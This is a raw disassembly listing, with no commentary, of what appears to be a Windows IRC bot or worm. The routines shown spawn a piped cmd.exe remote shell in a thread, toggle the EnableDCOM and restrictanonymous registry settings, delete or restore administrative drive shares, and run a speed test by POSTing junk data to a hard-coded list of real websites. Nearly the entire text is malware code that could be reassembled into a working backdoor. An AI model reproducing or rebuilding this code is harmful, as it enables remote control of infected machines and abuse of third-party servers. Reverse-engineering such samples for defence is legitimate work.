		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe_0 ; "cmd.exe"
		push	esi
		call	dword_4E0958
		test	eax, eax
		jz	loc_417C93
		lea	eax, [ebp+var_1C]
		mov	edi, dword_4F13B8
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_417C93
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_417C93
		mov	edi, dword_4F13B4
		push	3
		push	esi
		push	esi
		push	offset dword_4EF7D8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4F13B0	; DuplicateHandle
		test	eax, eax
		jz	short loc_417C93
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B190
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B190
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_178]
		push	offset dword_4EF820
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4F1328	; CreateProcessA
		test	eax, eax
		jnz	short loc_417C9B


loc_417C93:				; CODE XREF: sub_417B99+2Ej
					; sub_417B99+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_417D4D
; ---------------------------------------------------------------------------


loc_417C9B:				; CODE XREF: sub_417B99+F8j
		push	[ebp+var_4]
		mov	edi, dword_4F1324
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4EF7D4, eax
		mov	eax, [ebp+var_8]
		mov	dword_4EF7DC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4EF7D0, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4EF814, eax
		jz	short loc_417CD5
		push	[ebp+arg_4]
		jmp	short loc_417CDA
; ---------------------------------------------------------------------------


loc_417CD5:				; CODE XREF: sub_417B99+135j
		push	offset dword_4EF824


loc_417CDA:				; CODE XREF: sub_417B99+13Aj
		push	offset dword_4EF7E0
		call	sub_41B740
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_45075C
		call	sub_40A7FD
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4537D0[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_417A44
		push	esi
		push	esi
		call	dword_4F1338	; CreateThread
		cmp	eax, esi
		mov	dword_4537DC[edi], eax
		jnz	short loc_417D4B
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_450780
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_41458A
		add	esp, 10h


loc_417D4B:				; CODE XREF: sub_417B99+189j
		xor	eax, eax


loc_417D4D:				; CODE XREF: sub_417B99+FDj
		pop	edi
		pop	esi
		leave
		retn
sub_417B99	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-98h]
		rep movsd
		pop	edi
		pop	esi
		push	dword ptr [ebp-8]
		cmp	dword ptr [ebp-10h], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp-94h]
		push	dword ptr [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-98h]
		jz	short loc_417D98
		call	sub_417DB1
		jmp	short loc_417D9D
; ---------------------------------------------------------------------------


loc_417D98:				; CODE XREF: .nsp0:00417D8Fj
		call	sub_4180D5


loc_417D9D:				; CODE XREF: .nsp0:00417D96j
		add	esp, 10h
		push	dword ptr [ebp-14h]
		call	sub_40AB19
		pop	ecx
		push	0
		call	dword_4F1388	; ExitThread

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DB1	proc near		; CODE XREF: .nsp0:00417D91p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E096C, edi
		jnz	loc_417EE3
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E090C
		test	eax, eax
		jnz	short loc_417E3C
		mov	ax, word_4507F8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E08C4
		test	eax, eax
		jz	short loc_417E1E
		push	offset dword_450808
		jmp	short loc_417E23
; ---------------------------------------------------------------------------


loc_417E1E:				; CODE XREF: sub_417DB1+64j
		push	offset dword_45082C


loc_417E23:				; CODE XREF: sub_417DB1+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E087C
		jmp	short loc_417E4F
; ---------------------------------------------------------------------------


loc_417E3C:				; CODE XREF: sub_417DB1+36j
		lea	eax, [ebp+var_214]
		push	offset dword_45084C
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_417E4F:				; CODE XREF: sub_417DB1+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_417E6E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_417E6E:				; CODE XREF: sub_417DB1+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41458A
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E090C
		test	eax, eax
		jnz	short loc_417EDC
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4E08C4
		test	eax, eax
		jz	short loc_417EBE
		push	offset dword_450890
		jmp	short loc_417EC3
; ---------------------------------------------------------------------------


loc_417EBE:				; CODE XREF: sub_417DB1+104j
		push	offset dword_4508CC


loc_417EC3:				; CODE XREF: sub_417DB1+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E087C
		jmp	short loc_417EF6
; ---------------------------------------------------------------------------


loc_417EDC:				; CODE XREF: sub_417DB1+E2j
		push	offset dword_450900
		jmp	short loc_417EE8
; ---------------------------------------------------------------------------


loc_417EE3:				; CODE XREF: sub_417DB1+13j
		push	offset dword_45093C


loc_417EE8:				; CODE XREF: sub_417DB1+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_417EF6:				; CODE XREF: sub_417DB1+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_417F15
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_417F15:				; CODE XREF: sub_417DB1+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41458A
		cmp	dword_4E0994, edi
		pop	ecx
		jnz	loc_418090
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_417F38:				; CODE XREF: sub_417DB1+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4E07F4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_417FD5
		cmp	eax, 0EAh
		jz	short loc_417FD5
		mov	esi, offset off_4507B8


loc_417F69:				; CODE XREF: sub_417DB1+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_416BA8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_417F80
		push	offset dword_4509BC
		jmp	short loc_417F85
; ---------------------------------------------------------------------------


loc_417F80:				; CODE XREF: sub_417DB1+1C6j
		push	offset dword_4509E0


loc_417F85:				; CODE XREF: sub_417DB1+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_417FB8
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_417FB8:				; CODE XREF: sub_417DB1+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41458A
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4507D8
		jl	short loc_417F69
		jmp	loc_41806D
; ---------------------------------------------------------------------------


loc_417FD5:				; CODE XREF: sub_417DB1+1AAj
					; sub_417DB1+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_418064


loc_417FE4:				; CODE XREF: sub_417DB1+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E720
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_418059
		push	edi
		call	sub_416A95
		push	eax
		push	0
		call	sub_416BA8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_418013
		push	offset dword_45096C
		jmp	short loc_418018
; ---------------------------------------------------------------------------


loc_418013:				; CODE XREF: sub_417DB1+259j
		push	offset dword_450990


loc_418018:				; CODE XREF: sub_417DB1+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41804C
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_41804C:				; CODE XREF: sub_417DB1+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41458A
		pop	ecx


loc_418059:				; CODE XREF: sub_417DB1+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_417FE4
		xor	edi, edi


loc_418064:				; CODE XREF: sub_417DB1+22Dj
		push	[ebp+var_8]
		call	dword_4E092C


loc_41806D:				; CODE XREF: sub_417DB1+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_417F38
		lea	eax, [ebp+var_214]
		push	offset dword_450A0C
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4180A3
; ---------------------------------------------------------------------------


loc_418090:				; CODE XREF: sub_417DB1+177j
		lea	eax, [ebp+var_214]
		push	offset dword_450A34
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_4180A3:				; CODE XREF: sub_417DB1+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_4180C1
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_4180C1:				; CODE XREF: sub_417DB1+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41458A
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_417DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180D5	proc near		; CODE XREF: .nsp0:loc_417D98p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E096C, edi
		jnz	loc_418203
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E090C
		test	eax, eax
		jnz	short loc_418160
		mov	ax, word_450A64
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom_0 ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E08C4
		test	eax, eax
		jz	short loc_418142
		push	offset dword_450A74
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_4180D5+64j
		push	offset dword_450A98


loc_418147:				; CODE XREF: sub_4180D5+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E087C
		jmp	short loc_418173
; ---------------------------------------------------------------------------


loc_418160:				; CODE XREF: sub_4180D5+36j
		lea	eax, [ebp+var_220]
		push	offset dword_450AB4
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_418173:				; CODE XREF: sub_4180D5+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_418192
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_418192:				; CODE XREF: sub_4180D5+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41458A
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E090C
		test	eax, eax
		jnz	short loc_4181FC
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanon_0 ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], edi
		call	dword_4E08C4
		test	eax, eax
		jz	short loc_4181DE
		push	offset dword_450AF8
		jmp	short loc_4181E3
; ---------------------------------------------------------------------------


loc_4181DE:				; CODE XREF: sub_4180D5+100j
		push	offset dword_450B38


loc_4181E3:				; CODE XREF: sub_4180D5+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E087C
		jmp	short loc_418216
; ---------------------------------------------------------------------------


loc_4181FC:				; CODE XREF: sub_4180D5+E2j
		push	offset dword_450B70
		jmp	short loc_418208
; ---------------------------------------------------------------------------


loc_418203:				; CODE XREF: sub_4180D5+13j
		push	offset dword_450BAC


loc_418208:				; CODE XREF: sub_4180D5+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_418216:				; CODE XREF: sub_4180D5+125j
		cmp	[ebp+arg_C], edi
		jnz	short loc_418235
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_418235:				; CODE XREF: sub_4180D5+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41458A
		cmp	dword_4E0994, edi
		pop	ecx
		jnz	loc_4183A7
		mov	esi, offset off_4507B8


loc_418253:				; CODE XREF: sub_4180D5+1E7j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	edi
		call	sub_416AFC
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41826E
		push	offset dword_450BDC
		jmp	short loc_418273
; ---------------------------------------------------------------------------


loc_41826E:				; CODE XREF: sub_4180D5+190j
		push	offset dword_450BFC


loc_418273:				; CODE XREF: sub_4180D5+197j
		lea	eax, [ebp+var_220]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4182A6
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_4182A6:				; CODE XREF: sub_4180D5+1B5j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41458A
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4507C8
		jl	short loc_418253
		push	ebx
		call	dword_4F1430	; GetLogicalDrives
		mov	edi, eax
		mov	bl, 41h
		test	edi, edi
		jz	loc_41838F


loc_4182D1:				; CODE XREF: sub_4180D5+2B4j
		mov	eax, edi
		and	eax, 1
		cmp	al, 1
		jnz	loc_418385
		cmp	bl, 41h
		jz	loc_418385
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B910
		push	esi
		push	offset aC_3	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41B910
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4E08FC
		cmp	eax, 3
		jnz	short loc_418385
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_416AFC
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41833F
		push	offset dword_450C30
		jmp	short loc_418344
; ---------------------------------------------------------------------------


loc_41833F:				; CODE XREF: sub_4180D5+261j
		push	offset dword_450C50


loc_418344:				; CODE XREF: sub_4180D5+268j
		lea	eax, [ebp+var_220]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_418378
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_418378:				; CODE XREF: sub_4180D5+287j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41458A
		pop	ecx


loc_418385:				; CODE XREF: sub_4180D5+203j
					; sub_4180D5+20Cj ...
		inc	bl
		shr	edi, 1
		jnz	loc_4182D1


loc_41838F:				; CODE XREF: sub_4180D5+1F6j
		lea	eax, [ebp+var_220]
		push	offset dword_450C78
		push	eax
		call	sub_41B740
		pop	ecx
		xor	edi, edi
		pop	ecx
		pop	ebx
		jmp	short loc_4183BA
; ---------------------------------------------------------------------------


loc_4183A7:				; CODE XREF: sub_4180D5+173j
		lea	eax, [ebp+var_220]
		push	offset dword_450C9C
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_4183BA:				; CODE XREF: sub_4180D5+2D0j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4183D8
		push	edi
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_4183D8:				; CODE XREF: sub_4180D5+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41458A
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4180D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183EC	proc near		; CODE XREF: sub_4185E1+CBp
					; sub_4185E1+DDp ...

arg_0		= dword	ptr  4

		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		call	sub_41B850
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_4183EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418406	proc near		; CODE XREF: sub_4185E1+D4p
					; sub_4185E1+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_418D00
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_4185DD
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B190
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_409EFD
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_4185DD
		push	50h
		call	dword_4E08A0
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4E091C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_4185DD
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4185DD
		push	32003h
		call	sub_41D910
		mov	edi, dword_4F1364
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41B840
		call	sub_41B850
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B190
		push	32000h
		push	esi
		push	ebx
		call	sub_41B190
		push	ebx
		call	sub_418D00
		push	323EAh
		mov	ebx, eax
		call	sub_41D910
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B740
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		push	offset asc_450D00 ; "\r\n"
		push	esi
		call	sub_41C310
		add	esp, 40h
		push	esi
		call	sub_418D00
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41855D
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41852D
; ---------------------------------------------------------------------------


loc_41852A:				; CODE XREF: sub_418406+155j
		mov	eax, [ebp+arg_0]


loc_41852D:				; CODE XREF: sub_418406+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41853D
		push	[ebp+var_C]
		jmp	short loc_41853E
; ---------------------------------------------------------------------------


loc_41853D:				; CODE XREF: sub_418406+130j
		push	ebx


loc_41853E:				; CODE XREF: sub_418406+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4185C4
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41852A


loc_41855D:				; CODE XREF: sub_418406+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4374F4
		fst	[ebp+arg_0]
		fcomp	flt_4374F0
		fnstsw	ax
		sahf
		jnz	short loc_418585
		fld1
		fstp	[ebp+arg_0]


loc_418585:				; CODE XREF: sub_418406+178j
		push	[ebp+var_4]
		call	dword_4E0934
		push	[ebp+var_8]
		call	sub_419940
		push	esi
		call	sub_419940
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4374EC
		fmul	flt_4374E8
		call	sub_41CEBC


loc_4185BF:				; CODE XREF: sub_418406+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185C4:				; CODE XREF: sub_418406+147j
		push	[ebp+var_4]
		call	dword_4E0934
		push	[ebp+var_8]
		call	sub_419940
		push	esi
		call	sub_419940
		pop	ecx
		pop	ecx


loc_4185DD:				; CODE XREF: sub_418406+19j
					; sub_418406+42j ...
		xor	eax, eax
		jmp	short loc_4185BF
sub_418406	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185E1	proc near		; CODE XREF: sub_401CC1+28BEp

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_4183EC
		push	[ebp+eax*4+var_3C]
		call	sub_418406
		push	8
		mov	esi, eax
		call	sub_4183EC
		push	[ebp+eax*4+var_3C]
		call	sub_418406
		add	esp, 10h
		test	esi, esi
		jz	short loc_4186E2
		test	eax, eax
		jz	short loc_4186DE
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_4186E4
; ---------------------------------------------------------------------------


loc_4186DE:				; CODE XREF: sub_4185E1+F4j
		mov	ebx, esi
		jmp	short loc_4186E4
; ---------------------------------------------------------------------------


loc_4186E2:				; CODE XREF: sub_4185E1+F0j
		mov	ebx, eax


loc_4186E4:				; CODE XREF: sub_4185E1+FBj
					; sub_4185E1+FFj
		push	0Ch
		call	sub_4183EC
		push	[ebp+eax*4+var_6C]
		call	sub_418406
		push	0Ch
		mov	edi, eax
		call	sub_4183EC
